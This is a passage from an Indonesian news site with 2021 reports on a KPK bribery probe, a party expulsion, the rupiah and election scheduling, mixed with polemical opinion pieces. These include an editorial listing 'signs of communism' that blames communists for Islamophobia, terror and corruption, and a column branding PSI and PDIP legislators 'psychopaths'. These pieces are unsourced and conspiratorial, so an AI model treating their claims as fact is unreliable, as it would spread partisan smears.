Panahi, dan Jim Jarmusch. Selain itu dalam lima tahun terakhir, baru kali ini film panjang Indonesia memenangkan hadiah utama di festival bergengsi Eropa. (mth)

KPK Amankan Bukti Terkait Kasus Seleksi Jabatan Pemkab Probolinggo

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengamankan barang bukti berupa dokumen dan barang elektronik dari penggeledahan empat lokasi berbeda di Kabupaten Probolinggo, Jawa Timur, Selasa (28/9). Penggeledahan dilakukan dalam penyidikan kasus dugaan suap terkait seleksi jabatan di lingkungan Pemerintah Kabupaten Probolinggo Tahun 2021. "Selasa (28/9), tim penyidik telah melakukan penggeledahan di empat lokasi berbeda di wilayah Kabupaten Probolinggo. Dari empat lokasi ini, tim penyidik menemukan dan mengamankan bukti diantaranya berbagai dokumen dan barang elektronik yang terkait dengan perkara," ucap Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Rabu. Empat lokasi, yaitu Kantor Dinas Kesehatan Kabupaten Probolinggo, Kantor Dinas Pemuda, Olahraga, Pariwisata, dan Kebudayaan Kabupaten Probolinggo, Kantor Dinas Pendidikan Kabupaten Probolinggo, dan rumah dari pihak yang terkait dengan perkara di Kecamatan Maron, Kabupaten Probolinggo. "Seluruh bukti yang ditemukan ini segera dilakukan analisa untuk dilakukan penyitaan dan menjadi bagian dari berkas perkara tersangka PTS (Puput Tantriana Sari) dan kawan-kawan," kata Ali. KPK total menetapkan 22 orang sebagai tersangka kasus tersebut. Sebagai penerima, yaitu Bupati Probolinggo Puput Tantriana Sari (PTS), Hasan Aminuddin (HA) yang merupakan suami Puput dan juga pernah menjabat sebagai Bupati Probolinggo, Doddy Kurniawan (DK) selaku Aparatur Sipil Negara (ASN)/Camat Krejengan, Kabupaten Probolinggo, dan Muhammad Ridwan (MR) selaku ASN/Camat Paiton, Kabupaten Probolinggo. Sementara 18 orang sebagai pemberi suap merupakan ASN Pemkab Probolinggo. Sebagai penerima, empat orang tersebut disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat 1 ke-1 KUHP. Sedangkan sebagai pemberi, 18 orang disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP. Dalam konstruksi perkara, KPK menjelaskan bahwa pemilihan kepala desa serentak tahap II di wilayah Kabupaten Probolinggo yang awalnya diagendakan pada 27 Desember 2021 mengalami pengunduran jadwal. Adapun terhitung 9 September 2021 terdapat 252 kepala desa dari 24 kecamatan di Kabupaten Probolinggo yang selesai menjabat. Untuk mengisi kekosongan jabatan kepala desa tersebut maka akan diisi oleh penjabat (Pj) kepala desa (kades) yang berasal dari para ASN di Pemkab Probolinggo dan untuk pengusulannya dilakukan melalui camat. KPK menyebut ada persyaratan khusus di mana usulan nama para Pj kades harus mendapatkan persetujuan Hasan dalam bentuk paraf pada nota dinas pengusulan nama sebagai representasi dari Puput dan para calon Pj kades juga diwajibkan memberikan dan menyetorkan sejumlah uang. Adapun tarif untuk menjadi Pj kades di Kabupaten Probolinggo sebesar Rp20 juta per orang ditambah dalam bentuk upeti penyewaan tanah kas desa dengan tarif Rp5 juta per hektare. (mth)

Pemkot Jakbar Pastikan Para Petani Sudah Divaksin

Jakarta, FNN - Suku Dinas Ketahanan Pangan, Kelautan dan Perikanan Jakarta Barat memastikan kelompok tani yang bekerja di sawah kawasan Joglo, Kembangan, Jakarta Barat, sudah divaksin. Hal tersebut harus dipastikan demi menjaga kesehatan para petani dan sterilisasi hasil tani yang diproduksi para petani. "Petaninya harus wajib vaksin dan kalau di lapangan harus mematuhi protokol kesehatan dan 3 M," kata Kepala Seksi Ketahanan Pangan dan Pertanian Sudin KPKP Jakarta Barat Sri Riana Hanim saat ditemui di tengah sawah kawasan Joglo, Jakarta Barat, Rabu. Untuk di sawah kawasan Joglo, terdapat 20 petani yang setiap harinya beraktivitas di sana. Mereka rata-rata sudah menjalani vaksin tahap satu. Hanim memastikan akan memantau terus kesehatan para petani agar terhindar dari paparan COVID-19. Sebelumnya, selain memantau kesehatan petani, Sudin KPKP juga berperan memberi pendampingan di bidang bercocok tanam. Pendampingan tersebut dilakukan oleh dua orang dari Sudin KPKP yang bertugas memberikan penyuluhan dan mengendalikan organisme pengangkut tanaman. Para pendamping itu memberikan penyuluhan terkait cara menghindari hama yang kerap merusak tanaman hingga memberikan pupuk beserta bibit yang berkualitas. Hanim menjelaskan sawah di kawasan Joglo ini akan panen selama tiga kali setahun. Jika cuaca mendukung dan hama bisa dihindari, maka per sekali panen para petani garapan bisa panen 12 ton gabah. Nantinya, hasil panen tersebut akan dibagi ke pihak swasta yang memiliki lahan. Sisanya dipakai oleh kelompok tani untuk dijual ataupun dikonsumsi sendiri. "Teknis sudah lama, mereka sistem bagi hasil jadi hasil didapat sebagian diberikan kepada pengembang," kata Hanim. Hanim memastikan pendampingan akan terus diberikan Sudin KPKP agar para petani bisa menghasilkan kualitas beras terbaik. (mth)

DPP PSI Tegaskan Viani Limardi Bukan Lagi Kader Partai

Jakarta, FNN - Dewan Pimpinan Pusat Partai Solidaritas Indonesia (DPP PSI) menegaskan anggota DPRD DKI Jakarta Viani Limardi tidak lagi berstatus sebagai kader partai. Ketua DPP PSI Isyana Bagoes Oka menyampaikan Viani Limardi diberhentikan sebagai kader, karena dia terbukti melanggar ketentuan AD/ART partai. “Kami mengambil keputusan memberhentikan Sis Viani dari keanggotaan partai. Langkah ini terpaksa kami lakukan dalam rangka menegakkan garis perjuangan partai,” kata Isyana Bagoes Oka sebagaimana dikutip dari keterangan tertulisnya yang diterima di Jakarta, Rabu. Oleh karena itu, Viani otomatis tidak dapat lagi mewakili PSI di Dewan Perwakilan Rakyat Daerah (DPRD) DKI Jakarta, kata Isyana. Terkait itu, PSI akan mengirim surat ke pimpinan DPRD DKI Jakarta terkait pemecatan Viani sebagai kader partai. “Berdasarkan UU MD3 terkait pemberhentian sebagai anggota DPRD DKI Jakarta, perlu ada keputusan dari Mendagri (Menteri Dalam Negeri),” terang Isyana. Ia lanjut menerangkan PSI pada 25 September 2021 mengeluarkan surat pemecatan Viani sebagai anggota partai. “Sis Viani sudah bukan lagi bagian dari keluarga besar PSI. Segala tindakan Sis Viani setelahnya tidak terkait lagi dengan PSI,” tegas dia. Isyana menjelaskan pemecatan Viani telah melalui rangkaian evaluasi dan pemeriksaan berjenjang dari tingkat DPW PSI DKI Jakarta, Direktorat Pembinaan Fraksi dan Anggota Legislatif PSI, Tim Pencari Fakta (TPF)dan terakhir DPP PSI. Tim pencari fakta juga telah memanggil Viani Limardi dan memberi kesempatan kepada dia untuk menjawab serta menyampaikan sanggahan, terang Isyana. Hasil pemeriksaan internal menunjukkan Viani melanggar Pasal 5 ART partai tentang kewajiban anggota, yaitu patuh dan setia kepada garis perjuangan, AD/ART, dan keputusan-keputusan partai. Garis-garis perjuangan PSI di antaranya mencakup solidaritas, kesetaraan, dan sikap anti korupsi, sebut Isyana. Surat Keputusan DPP PSI No. 513/SK/DPP/2021 tentang Sanksi Pemberhentian Selamanya jadi dasar pemecatan Viani Limardi sebagai kader PSI. Dalam surat itu, Viani dipecat karena diduga menggelembungkan laporan penggunaan dana APBD untuk kegiatan reses, dan tidak mematuhi instruksi partai setelah ia melanggar aturan ganjil-genap bulan lalu. Viani belum dapat langsung dihubungi untuk diminta tanggapan. Namun, Viani, sebagaimana dikutip dari sejumlah media nasional, Selasa, membantah tuduhan penggelembungan dana reses. Oleh karena itu, Viani berencana melawan putusan PSI dan menggugat partai itu sampai Rp1 triliun. (mth)

Malaysia Prihatin Perlucutan Senjata Nuklir Melambat

Kuala Lumpur, FNN - Malaysia menyatakan prihatin atas lambatnya kemajuan dalam perlucutan senjata nuklir meski ada beberapa perkembangan positif dalam beberapa tahun terakhir. Menteri Luar Negeri Malaysia Saifuddin Abdullah mengemukakan hal itu dalam rapat pleno Majelis Umum PBB untuk memperingati dan mempromosikan Hari Internasional Untuk Penghapusan Senjata Nuklir yang diikuti secara daring dari New York, Selasa. Pertemuan itu dipimpin Ketua Majelis Umum PBB Abdulla Shahid dan Sekretaris Jenderal PBB Antonio Guterres. "Malaysia mengaitkan diri dengan pernyataan yang disampaikan Azerbaijan atas nama Gerakan Non-Blok," kata Saifuddin. Terlepas dari situasi keamanan yang tidak pasti dan berbagai tantangan yang ditimbulkan oleh pandemi COVID-19, Saifuddin mengajak masyarakat dunia agar tetap gigih dalam upaya penghapusan senjata nuklir. "Status quo dunia dengan senjata nuklir tidak dapat diterima dan tidak berkelanjutan," katanya. Dia mengatakan mencapai dunia bebas senjata nuklir telah lama menjadi keinginan masyarakat internasional sejak Sidang Umum PBB perdana pada 1946. Hal itulah yang menghasilkan Perjanjian Non-Proliferasi Nuklir (NPT) yang hingga saat ini tetap menjadi landasan perlucutan senjata nuklir global dan rezim non-proliferasi. "Sementara kita semakin dekat dengan Konferensi Peninjauan NPT ke-10, ancaman eksistensial yang dihadapi umat manusia yang ditimbulkan oleh keberadaan dan modernisasi senjata nuklir tetap ada," kata Saifuddin. Selama konferensi tinjauan NPT 1996, Malaysia menyatakan kekhawatirannya bahwa perpanjangan tidak terbatas tidak akan berfungsi sebagai insentif menuju universalitas perjanjian, tetapi akan menjadi kekuasaan penuh bagi negara-negara pemilik senjata nuklir untuk mempertahankan senjata nuklir mereka tanpa batas. "Kekhawatiran ini tetap benar sampai hari ini. Untuk negara-negara yang memiliki senjata nuklir, mereka terus menjunjung tinggi potensi kegunaan senjata tersebut. Selain itu, negara payung nuklir juga terus mempromosikan keberadaan senjata tersebut," katanya. Terlebih lagi, kata Saifuddin, perlucutan senjata nuklir, kontrol senjata dan arsitektur non-proliferasi sedang mengalami ketegangan. "Oleh karena itu penting dan menjadi lebih kritis dari sebelumnya, bahwa kita bertindak atas perlucutan senjata nuklir," katanya. Satu-satunya jaminan mutlak untuk mencegah penggunaan senjata nuklir adalah penghapusan total senjata itu. Malaysia menyambut baik berlakunya Perjanjian tentang Larangan Senjata Nuklir (TPNW) pada 22 Januari 2021 yang memperkuat norma-norma global bahwa senjata nuklir tidak dapat diterima. "Seharusnya tidak digunakan; tidak boleh diancam untuk digunakan, dan harus dibuang dan dimusnahkan sesegera mungkin. Pelarangan senjata nuklir berkontribusi pada perdamaian dan keamanan internasional," katanya. Malaysia percaya bahwa TPNW melengkapi, dan tidak merusak, instrumen hukum internasional lainnya yang berkaitan dengan perlucutan senjata nuklir dan non-proliferasi, khususnya NPT, Perjanjian Pelarangan Uji Nuklir Komprehensif, dan Asia Tenggara Perjanjian Zona Bebas Senjata Nuklir. Malaysia berharap dapat melanjutkan keterlibatannya secara konstruktif menjelang Pertemuan Pertama Negara-Negara Pihak TPNW pada Maret 2022. (mth)

Rupiah Diprediksi Tertekan Dipicu Kenaikan Imbal Hasil Obligasi AS

Jakarta, FNN - Nilai tukar (kurs) rupiah yang ditransaksikan antarbank di Jakarta pada Rabu diprediksi masih tertekan oleh kenaikan imbal hasil obligasi Amerika Serikat. Rupiah pagi ini bergerak melemah 22 poin atau 0,16 persen ke posisi Rp14.295 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp14.273 per dolar AS. "Nilai tukar rupiah kemungkinan bakal berakhir melemah lagi hari ini karena yield obligasi pemerintah AS kembali menunjukkan kenaikan. Yield obligasi pemerintah AS tenor 10 tahun menyentuh level tinggi baru sejak 17 Juni 2021 di 1,55 persen," kata pengamat pasar uang Ariston Tjendra saat dihubungi di Jakarta, Rabu. Menurut Ariston, kenaikan yield tersebut sebagai antisipasi pelaku pasar terhadap peluang tapering yang akan dilakukan pada akhir tahun ini dan kemungkinan percepatan jadwal kenaikan suku bunga acuan AS. Hal itu mendorong penguatan dolar AS. Ariston juga menyampaikan, penurunan indeks saham Asia pagi ini mengekor penurunan dalam indeks saham AS semalam dan menambah tekanan ke nilai tukar negara berkembang termasuk rupiah. "Pelaku pasar terlihat berupaya keluar dari aset berisiko. Ini juga kelihatannya imbas dari ekspektasi tapering tersebut," ujar Ariston. Dari dalam negeri, jumlah kasus harian COVID-19 pada Selasa (28/9) bertambah 2.057 kasus sehingga total jumlah kasus terkonfirmasi positif COVID-19 mencapai 4,21 juta kasus. Sedangkan jumlah kasus meninggal akibat terpapar COVID-19 mencapai 124 kasus sehingga totalnya mencapai 141.709 kasus. Sementara itu, jumlah kasus sembuh bertambah sebanyak 3.551 kasus sehingga total pasien sembuh mencapai 4,03 juta kasus. Dengan demikian, total kasus aktif COVID-19 mencapai 38.652 kasus. Untuk vaksinasi, jumlah masyarakat yang sudah disuntik vaksin dosis pertama mencapai 88,53 juta orang dan vaksin dosis kedua 49,66 juta orang dari target 208 juta orang yang divaksin. Ariston mengatakan rupiah hari ini berpotensi melemah ke kisaran Rp14.2300 per dolar AS hingga Rp14.320 per dolar AS dengan potensi penguatan di kisaran Rp14.250 per dolar AS. Pada Selasa (28/9) lalu, rupiah ditutup melemah 20 poin atau 0,14 persen ke posisi Rp14.273 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp14.253 per dolar AS. (mth)

Partai Politik dan Kader Psikopat

Oleh: Yusuf Blegur Partai politik dan anggota legislatif korupsi sudah biasa. Partai politik dan parlemen yang menghasilkan UU dan kebijakan yang mengkhianati amanat dan menyengsarakan rakyat bukan hal baru. Partai politik melahirkan anggota legislatif yang berbuat asusila juga bukan hal yang tak pernah terjadi. Anggota DPR yang arogan tapi dungu mempermalukan dirinya sendiri, jika telusuri juga bukan jumlah yang sedikit. Itulah beberapa dari sekian banyak potret wajah dan perilaku partai politik beserta kadernya dengan segala peran antagonis dan catatan hitam yang sudah biasa dijumpai rakyat. Namun kali ini, ada yang jauh lebih buruk dan menakutkan dari semua itu. Saat partai politik dan kadernya yang bekerja di parlemen berubah menjadi sekumpulan orang dengan 'gangguan jiwa' dan mengidap 'penyakit sosial' yang akut. Ramai pemberitaan saat beberapa anggota DPRD DKI Jakarta berupaya menggelar rapat paripurna dengan agenda membahas Formula E. Sayangnya, rencana rapat paripurna yang akan digelar pada hari selasa tgl. 28 September 2021. Bukan hanya urung dilaksanakan, bahkan rencana rapat yang lagi-lagi diusung oleh PSI dan PDIP tersebut. Selain tidak disetujui dan dihadiri sebagian besar fraksi dan pimpinan DPRD lainnya. Menegaskan betapa PSI dan PDIP yang ada di parlemen Jakarta itu mempertontonkan perilaku kadernya yang seperti tidak berpendidikan, tidak punya kehormatan dan lebih buruk dari preman jalanan yang menghalalkan segala cara untuk memenuhi syahwat politiknya. Dengan kehadiran hanya 27 anggota yang tidak memenuhi quorum atau 1/2 + 1 dari keseluruhan anggota DPRD DKI yang berjumlah 105 orang. PSI dan PDIP melalui Ketua DPRD Prasetio Edi Marsudi yang berasal dari Fraksi PDIP. Telah memaksakan agenda paripurna Formula E tanpa persetujuan keseluruhan pimpinan dan anggota parlemen. Konyolnya, Ketua DPRD itu menyelipkan agenda dengan cara-cara yang menyalahi aturan. Tanpa sepengetahuan, pembahasan dan persetujuan seluruh anggota parlemen. Karena tidak sesuai dengan aturan dan tata tertib baik persidangan maupun pembahasan program DPRD DKI. Rencana pembahasan Formula E yang tiba-tiba diselipkan dalam agenda paripurna yang gagal itu. Bukan saja menjadi cacat prosedur dan mekanisme kerja DPRD. Melainkan juga menjadi konspirasi kejahatan konstitusi di lembaga legislasi insitusi negara. Tidak belajar dari proses sebelumnya berupa penolakan hak interpelasi dari mayoritas parlemen terkait program Formula E. Alih-alih sadar diri dan introspeksi. PSI dan PDIP malah semakin tidak waras dengan menggelapkan agenda sidang paripurna Formula E. Tanpa kehadiran 4 pimpinan DPRD DKI yaitu M Taufik (Gerindra), Suhaimi (PKS), Misan Samsuri (Demokrat) dan Zita Anjani (PAN). Mencerminkan Perilaku Edi Prasetyo Marsudi yang mewakili kepentingan PSI dan PDIP. Terkesan melalui Formula E, menyebar sikap permusuhan dan kebencian terhadap gubernur dan program pemerintahan pemerintah provinsi DKI. Perangai buruk itu semakin menegaskan betapa PSI dan PDIP memiliki dendam politik bahkan anti terhadap figur pemimpin Anies Baswedan. Dengan seabreg persoalan negara yang menyeluruh di pelbagai aspek kehidupan baik ekonomi, sosial, politik, hukum dan pertahanan keamanan negara. Sepertinya PSI dan PDIP tidak pernah melihat dan mengabaikan, semua krisis kenegaraan itu terasa dan ada di depan mata karena pemerintah pusat yang salah mengelola negara. PSI dan PDIP cenderung buta mata dan hati terhadap maraknya praktek oligarki dan borjuasi korporasi, kasus korupsi kakap, lumpuhnya demokrasi, ketidakadilan ekonomi dan hukum dan semua kejahatan institusi pemerintahan yang notabene mereka terlibat dan memimpin didalamnya. Atau memang PSI dan PDIP terlanjur menganggap seorang Anies Baswedan yang gubernur DKI Jakarta itu, memang telah menjadi seorang presiden RI?. Figur dengan kapasitas memimpin negara sehingga terus menerus disalahkan dan ingin dijatuhkan PSI dan PDIP?. Sepertinya PSI dan PDIP harus sabar menunggu waktu. Sembari memulihkan penyakit "psikopat" politiknya ke depan. Semoga cepat sembuh dan sehat kembali. Penulis, Pegiat Sosial dan Aktifis Human Luhur Berdikari.

Memahami Komunisme dalam Pikiran dan Tindakan

SIFAT revolusioner adalah sifat dasar komunisme dalam merebut kekuasaan. Karena, atas dasar semangat revolusioner ini akan dijadikan sumber hukum sebuah negara komunisme dalam menjustifikasi setiap penerapan ideologinya secara konstitusional. Tak ada nilai, tak ada HAM, apalagi agama, semua tunduk pada agenda besar revolusi. Bagi jiwa komunisme, sifat Fasisme adalah wujud nyata instrumen kehidupan sosialnya. Yaitu ; Siapa yang berlawanan dan dianggap menghambat agenda besar revolusi, ia adalah musuh yang wajib dihabisi. Memahami ajaran ideologi komunisme tidak semerta-merta dari aktivitas fisik simbol semata. Karena, perilaku komunis ini super licik. Hukum, HAM, demokrasi, toleransi bagi kaum komunis ibarat patung Dewa yang terbuat dari kue. Ketika patung Dewa kue itu menguntungkannya, maka akan dipuja puji sedemikian rupa. Tetapi ketika patung Dewa kue itu merugikannya, maka patung Dewa kue itu akan di makannya dengan lahap. Itulah sifat dasar komunis, culas, licik, penipu, jago bersandiwara, dan ahli dalam propaganda adu domba. Begitu juga dalam bernegara. Ketika kaum komunis ini belum berkuasa, maka mereka akan menyusup ke seluruh lini kekuasaan. Menampilkan wajah yang begitu manis, menghalalkan segala cara, sampai Prof Salim Said dalam sebuah podcast-nya bersama Refly Harun mengatakan ; “ Orang komunis itu paling ahli dalam menyusup ke dalam kekuasaan, dan lihai menggunakan tangan kekuasaan untuk menghabisi para musuh musuhnya “. Dan ketika mereka berkuasa, barulah sifat dasar diktatorianisme absolut mereka terapkan. Apapun halal demi tujuannya tercapai. Untuk itulah, pada kesempatan ini sengaja redaksi mengajak semuanya untuk memahami gerak perilaku dan tindakan serta pikiran komunis di sekitar kita. Termasuk dalam hal bernegara. Hal ini sangat lazim dilakukan oleh kader komunis dalam mewujudkan agendanya. Melalui perang pemikiran, perang ideologi, perang sosial budaya dalam meracuni pikiran dan tindakan manusia. Agar secara tak sadar, pola pikiran manusia itu sudah berpikir, bertindak sesuai ideologi komunis. Berikut ciri dan gejala pikiran, tindakan ala komunisme di sekitar kita. 1. Menganggap agama adalah sebagai candu. Agama seolah dianggap sebagai sumber masalah. Maka lahirlah produk Islamfobhia salah satunya. Yaitu, memprovokasi masyarakat agar alergi dan jijik pada ajaran agama. Caranya, dengan menggunakan instrumen stigmanisasi negatif seperti cap radikalisme, intoleran, kaum kadrun, dst. Padahal itu semua hanyalah cara jitu komunis untuk membungkam kelompok agama agar tidak berkutik lagi. 2. Ketika berkuasa merepresentasikan dirinya adalah negara. Padahal negara dalam konsep negara demokrasi terdiri dari ; wilayah, pemerintah, rakyat, dan hukum. Menganggap dirinya (penguasa) adalah negara, hanya ada pada negara komunis dan monarki. 3. “ Sibukkan rakyatmu, sebelum rakyat menyibukkan mu “ (Mao Tse Tung). Rakyat akan selalu disuguhi secara sistematis isu-isu sampah dan murahan, untuk menutupi kejahatan atau skandal besar yang mereka lakukan. Atau dalam ilmu komunikasi disebut dengan “ Digital Distraction “. 4. “ Untuk kuasai sebuah negeri, maka kuasai pemimpinnya “. Maka lahirlah budaya sogok, kolusi, dan sexsual transaction. Dengan berbagai cara para kader komunis akan tempel dan kendalikan para penguasa. Dengan dukungan balik berupa harta, jabatan, dan wanita. 5. “ Merekayasa menciptakan penjahat, di atas kejahatannya “. Para kaum komunis paling jago buat rekayasa dan membolakbalikkan fakta. Kaum komunis ini, akan selalu cuci tangan atas semua kejahatan yang dia lakukan. Dengan cara menjadikan musuh musuhnya justru seolah menjadi penjahatnya. Hal ini lebih leluasa mereka lakukan kalau berkuasa. Dengan power kekuasaan mereka akan ciptakan penjahat itu, melalui rekayasa tangan kekuasaan. Apakah itu melalui fitnah berita, ataupun melalui kriminalisasi penjara. 6. “ Apabila kamu tidak bisa mematahkan argumen musuhmu, maka seranglah kepribadiannya “. Maksudnya adalah : apabila ada suatu kelompok atau tokoh yang sulit dibantah argumentasi dan kritikannya, maka geser pertempuran ke arah pribadinya. Cari dan korek segala boroknya. Kalau tak ada, ciptakan fitnah untuk musuh musuhnya. Kalau perlu teror, intimidasi psikologis anak istrinya. 7. “ Menjadikan diri dan kelompoknya yang paling benar, dan penentu kebenaran “. Menciptakan narasi pembenaran dalam bingkai logical fallecie (penyesatan logika) Untuk membolak-balik posisi terbalik, penjahat dijadikan seperti malaikat. Para ulama, pejuang kebenaran, dicap seolah jadi penjahat. 8. “ Memainkan politik belah bambu. Mana yang manut akan diangkat, mana yang tak manut akan diinjak “. Memberikan fasilitas, jabatan, dan dukungan kepada orang-orang tolol tidak punya kompetensi menduduki jabatan strategis. Agar mudah dikendalikan jadi kacung. Dan menghabisi orang orang cerdas, idealis, sampai hancur lebur. 9. “ Awalnya mengangkat isu keberagaman (kebhinekaan), kemudian mempertentangkan masing keberagaman itu yang berbasis SARA. Setelah itu baru menghabisi apa saja yang berbau agama. Karena sejatinya, ajaran komunisme anti agama, anti Tuhan, dan nafsu kekuasaan adalah Tuhannya. 10. “ Membuat miskin sebuah negara dengan hutang, melakukan pembodohan dalam pendidikan dan budaya, kemudian memecah belah persatuan dengan adu domba hasutan sesama anak bangsa, baru dikuasai dan teror “. 11. Untuk skala tertentu menghalalkan cara pembunuhan, teror, penculikan, intimidasi, kriminalisasi, kekerasan fisik, demi tujuan tercapai dan menghilangkan segala bentuk penghambat (kendala). 12. Merusak pranata sosial ketokohan ulama, adat, dan masyarakat. Kemudian menciptakan tokoh-tokoh palsu merusak pranata sosial masyarakat. 13. Mudah busuk hati, iri dengki, dan kebencian membabi buta hanya gara gara orang lain berbeda pendapat dan pikiran dengan kelompoknya. Segala bentuk tipu daya, tipu muslihat, menjilat, bermuka dua, khianat, adalah instrumen komunis dalam berkuasa. 14. Membenci apa saja yang berbau agama, simbol agama, dan bagaimana sekuat tenaga menjauhkan agama dari kehidupannya. Memisahkan ajaran agama dari kehidupannya.. Dengan alibi regulasi, konstitusi, dan toleransi. Apapun yang berbau agama mereka akan sinis dan begitu benci sekali. Walaupun mereka mengaku juga beragama. 15. Ketika berkuasa, suka melakukan kekerasan fisik, fitnah, pembunuhan, penculikan, kriminalisasi, perampokan, terhadap siapa saja yang menjadi penghalang kepentingannya. Demikian sekilas identifikasi dan ciri ajaran pikiran komunisme dalam pikiran dan tindakannya dalam kehidupan sosial masyarakat Jadi melihat apakah komunis itu masih ada atau tidak, tidak berdasarkan simbolisasi lambang fisik dan pengakuan semata. Tetapi juga bisa kita mapping dan scaning dari cara berpikir, bertindak, berprilaku dalam kehidupannya sehari hari. Ini perlu disampaikan, agar hegemoni pemikiran ala komunis ini tidak terjadi lagi menjangkiti masyarakat Indonesia. Karena sudah menjadi fakta yang jelas, bahwasanya ajaran komunisme itu sangat bertentangan dengan budaya, kultur, dan ideologi mayoritas masyarakat Indonesia. Dan Indonesia cukup mengalami tragedi berdarah hasil pengkhianatan kelompok komunis pada tahun 1948 dan 1965 yang lalu. *)

Tersusupi Komunisme atau Wahabisme?

By M Rizal Fadillah ADA penjelasan dari Pangkostrad Letjen Dudung Abdurrahman bahwa hilangnya patung diorama penumpasan G 30 S PKI itu disebabkan diminta kembali oleh pembuatnya mantan Pangkostrad terdahulu Letjen Purn AY Nasution dengan alasan keyakinan bahwa membuat patung itu dosa. Bahwa benar sebagian ulama dan umat Islam meyakini dalil itu. Faham yang keras dalam menggemakan hal tersebut dikenal dengan Wahabisme. Salah satu upaya ulama Saudi Muhammad bin Abdul Wahhab dalam menegakkan tauhid adalah dengan menghilangkan dan menghindari patung. Sikap Pemerintah juga sering mendekatkan Wahabisme dengan radikalisme bahkan terorisme. Suatu hal yang semestinya dijernihkan. Buzzer yang anti Arab tentu menganggap Wahabisme adalah musuh negara. Jika ada penghancuran patung pasti buzzer wek wek itu akan berteriak keras mengecam dan menyebut sebagai tindakan radikal. Kini muncul alasan bahwa hilangnya patung diorama Museum Dharma Bhakti Makostrad disebabkan keyakinan ini. Nah ada Netizen ketika mendengar penjelasan Pangkostrad soal keyakinan AY Nasution itu berkomentar bahwa TNI telah terpapar Wahabisme. Adapula yang menyatakan apakah TNI tersusupi Komunisme atau Wahabisme? Pandangan nyinyir ini harus dijawab dengan penjelasan tegas dan pembuktian nyata bahwa Kostrad tidak terpapar atau tersusupi, dengan : Pertama, bahwa yang memberi penjelasan langsung adalah Letjen Purn AY Nasution mantan Pangkostrad tentang kebenaran pernyataan Pangkostrad Letjen Dudung Abdurrahman. Bukan Pangkostrad sendiri karena masyarakat dapat menganggap hal itu sebagai alasan yang dicari-cari. Kedua, harus terklarifikasi bahwa patung diorama sejarah tiga personal Letjen Soeharto, Kolonel Sarwo Edhi, dan Jenderal AH Nasution yang ada di Museum itu adalah milik pribadi yang "dititipkan" di Museum atau sumbangan pribadi untuk koleksi Museum ? Serta tentunya atas biaya siapa pembuatan patung diorama tersebut. Ketiga, jika diorama koleksi Museum tersebut, terlepas milik pribadi atau sumbangan, itu penting dalam konteks kesejarahan Kostrad mestinya ada rencana pembuatan kembali koleksi patung diorama serupa di Museum tersebut, kecuali jika keyakinan Pangkostrad dan seluruh jajaran sama, bahwa adanya patung itu dosa. Keempat, jika toleransi itu adalah keyakinan bersama bahwa patung itu dosa, maka Kostrad harus mencanangkan penghilangan patung-patung yang ada di berbagai tempat termasuk patung Bung Karno dan Jenderal Soedirman. Hal ini bakal menarik dan mengguncangkan. Mungkin akan ada yang beranggapan bahwa ini merupakan satu kesatuan dari paket penghancuran baliho. Sebenarnya belum cukup penjelasan dan pembuktian Pangkostrad yang dinilai terlalu enteng untuk suatu persoalan besar yang menjadi bahan kecurigaan yaitu skandal menghilangkan jejak sejarah penting heroisme Kostrad dalam membasmi PKI dan Komunisme. Ataukah perlu segera dibentuk Tim Pencari Fakta? Kita tunggu langkah berikut yang lebih nyata dari Pak Dudung dalam mewaspadai dan menumpas gerakan Komunis. Semoga tidak benar kecurigaan bahwa TNI itu telah tersusupi Komunisme. Pangkostrad adalah pejuang bukan pecundang atau petualang apalagi menjadi preman tukang kemplang. Rakyat pasti mendukung penjagaan wibawa Kostrad. Ada kekhawatiran Komando Cadangan Strategis Angkatan Darat (Kostrad) di bawah kepemimpinan Letjen Dudung Abdurrahman akan terseret ke lumpur atau kubangan politik yang hitam, pekat dan kotor. *) Pemerhati Politik dan Kebangsaan

PPP Tidak Setuju Usulan Pemerintah Terkait Waktu Pemilu 2024

Jakarta, FNN - Ketua DPP PPP Achmad Baidowi mengatakan partainya tidak sepenuhnya setuju dengan usulan pemerintah terkait waktu pelaksanaan pemungutan suara Pemilu 2024 dilaksanakan pada tanggal 15 Mei. "Kami tidak sepenuhnya setuju dengan usulan pemerintah bahwa Pemilu 2024 digelar 15 Mei. Sebagai sebuah usulan, kami menghargainya dan tentu harus persetujuan DPR dan penyelenggara pemilu yaitu KPU dan Bawaslu," kata Baidowi atau Awiek di Jakarta, Selasa. Menurut dia, PPP sebagai partai politik peserta pemilu siap kapanpun jadwal Pemilu 2024 namun tidak elok jika hanya partainya yang memikirkan dari sudut pandang peserta pemilu. Sekretaris Fraksi PPP DPR RI itu menilai hal lain yang juga dipikirkan adalah teknis pelaksanaan pemilu karena pada 2024 ada juga perhelatan Pilkada yang digelar di bulan November. "Artinya jika Pemilu nasional bulan Mei, maka jarak dengan pilkada hanya enam bulan, sehingga sudah pasti berhimpitan dengan pelaksanaan Pilkada. Lalu kalau Pilpres dilaksanakan dua putaran, maka akan menyita waktu, termasuk juga adanya sengketa di MK," ujarnya. Dia menjelaskan, dalam UU nomor 10 tahun 2016 tentang Pilkada disebutkan syarat mengusung calon kepala daerah mengacu pada hasil Pemilu terakhir yaitu hasil Pemilu 2024. Karena itu Baidowi menilai sebenarnya yang lebih rasional adalah memajukan jadwal Pemilu nasional 2024 ke bulan Maret atau setidaknya tetap April, bukan malah memundurkan ke bulan Mei. Sebelumnya, Menteri Koordinator Bidang Politik, Hukum dan Keamanan (Menko Polhukam) Mahfud MD mengatakan, pemerintah mengusulkan agar Pemilu 2024 dilaksanakan pada 15 Mei 2024. Hal itu berdasarkan hasil rapat internal yang dihadiri Presiden Joko Widodo dan Wakil Presiden KH Ma'ruf Amin, Menteri Sekretaris Negara Pratikno, Menko Polhukam, Menseskab Pramono Anung, Menteri Dalam Negeri Tito Karnavian, Menteri Keuangan Sri Mulyani, Panglima TNI Marsekal TNI Hadi 